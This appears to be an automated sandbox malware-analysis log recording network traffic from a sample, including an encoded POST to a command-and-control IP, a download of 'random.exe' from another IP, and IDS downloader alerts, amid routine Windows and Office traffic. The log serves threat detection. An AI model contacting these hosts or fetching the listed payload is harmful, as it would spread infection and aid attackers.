Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 37 32 38 37 35 42 32 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB72875B25C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49715 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49823 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49869 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50033 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.231.128.66
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88
Source: unknown	TCP traffic detected without corresponding DNS query: 20.103.156.88

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA7CC60 PR_Recv,

0_2_6CA7CC60

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231453Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=fd29a17ffc52440bb8339a4eb9e321bf&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617336&metered=false&nettype=ethernet&npid=sc-338389&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617336&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AATTZNlNgPPN0PtfT4J2m/LyAosr375w/SFz37HUR0rb913bxQMc8vau6JwbSuLiigJ7uC5gWAeIYR+mvWRCjwc1Vdp2uaDeoITDsR//drqPULUfafNkzdAnV6EYsukHFsZmtuhqEXDKQ4cFfGVtbb6lRbmj7Xptxieuhwy98qsntUYdHvhWn+8MNAKpPES6GE7K4nUQDPD2CH1s373bmXUpWu0jkxYquoMu2rmdSs8iBhBrlYfjicOviVZ4qxL2YAOVh5ESdzw9hlRvncIJyEYrLUvTurblpzZFqQHhFRwtjnRNtnGuxbF+DTbuaqjbWfhpeOTVNw6Q4tuyJokpJToEQZgAAEPQhl86sqLseffVk5stydOCwAakje1NyOjoLHSE/WDdjO2J/GbIZbnUFjtoz8sZ1AsRZoPnvkBF8X6tFM5PtjQnrEyJn4KLOBZR0pr2LAHQgSKxmnNP/Qn73VIZxSgYAl347W+QnBQZZ1HGcLPn4DyJ+h8bAcSE4IvfsvylrfC3QpVZjGMgUEgVHmm7nrb21eP23aXu2SObRxZ+DRz0ERBvrdlsdiSkFhS9uEuzPcN+4V9wmvIXq1lj60SG4MR2tRLRUq81h8Q9bflLnnX4+nXPCGxixV3+xEvHwch3AvpjI3bfnmlPV9+frEZDqsr2qLIoHEtB1mLocZdBzXyEIuMiGsGVGFpw4iWIQkKwxzL7+tnY2Ep41XoS1bHN4Tp2cJyEbpYUj4CFUBmVesOR6QATet8mi158hpE31Bv/PogsvdMVr0GjnLAdeOUaOC8p5WuYT/V++uzQGJ9bUainQzbnshJDodBMBHhkwH8bJz1ieXjpKpYLJSOoXu6LYBZEq/f0gUXQFYPXh8mdm+5i1tunX2Q7vELHyvvhXWZoWF51Lt7tQyLHujdUTZE0SywBa2yIhG2/auwGYDoT1PloOUlOQDNgB&p=Cache-Control: no-cacheMS-CV: nLbZyZWwLEeM+5US.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241206T231453Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=05932d58c9d94d1baca6cdc1d1bf4f8c&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=617336&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=617336&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AATTZNlNgPPN0PtfT4J2m/LyAosr375w/SFz37HUR0rb913bxQMc8vau6JwbSuLiigJ7uC5gWAeIYR+mvWRCjwc1Vdp2uaDeoITDsR//drqPULUfafNkzdAnV6EYsukHFsZmtuhqEXDKQ4cFfGVtbb6lRbmj7Xptxieuhwy98qsntUYdHvhWn+8MNAKpPES6GE7K4nUQDPD2CH1s373bmXUpWu0jkxYquoMu2rmdSs8iBhBrlYfjicOviVZ4qxL2YAOVh5ESdzw9hlRvncIJyEYrLUvTurblpzZFqQHhFRwtjnRNtnGuxbF+DTbuaqjbWfhpeOTVNw6Q4tuyJokpJToEQZgAAEPQhl86sqLseffVk5stydOCwAakje1NyOjoLHSE/WDdjO2J/GbIZbnUFjtoz8sZ1AsRZoPnvkBF8X6tFM5PtjQnrEyJn4KLOBZR0pr2LAHQgSKxmnNP/Qn73VIZxSgYAl347W+QnBQZZ1HGcLPn4DyJ+h8bAcSE4IvfsvylrfC3QpVZjGMgUEgVHmm7nrb21eP23aXu2SObRxZ+DRz0ERBvrdlsdiSkFhS9uEuzPcN+4V9wmvIXq1lj60SG4MR2tRLRUq81h8Q9bflLnnX4+nXPCGxixV3+xEvHwch3AvpjI3bfnmlPV9+frEZDqsr2qLIoHEtB1mLocZdBzXyEIuMiGsGVGFpw4iWIQkKwxzL7+tnY2Ep41XoS1bHN4Tp2cJyEbpYUj4CFUBmVesOR6QATet8mi158hpE31Bv/PogsvdMVr0GjnLAdeOUaOC8p5WuYT/V++uzQGJ9bUainQzbnshJDodBMBHhkwH8bJz1ieXjpKpYLJSOoXu6LYBZEq/f0gUXQFYPXh8mdm+5i1tunX2Q7vELHyvvhXWZoWF51Lt7tQyLHujdUTZE0SywBa2yIhG2/auwGYDoT1PloOUlOQDNgB&p=Cache-Control: no-cacheMS-CV: nLbZyZWwLEeM+5US.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=gxgonE+wNecUoDx&MD=dbwZGS6d HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
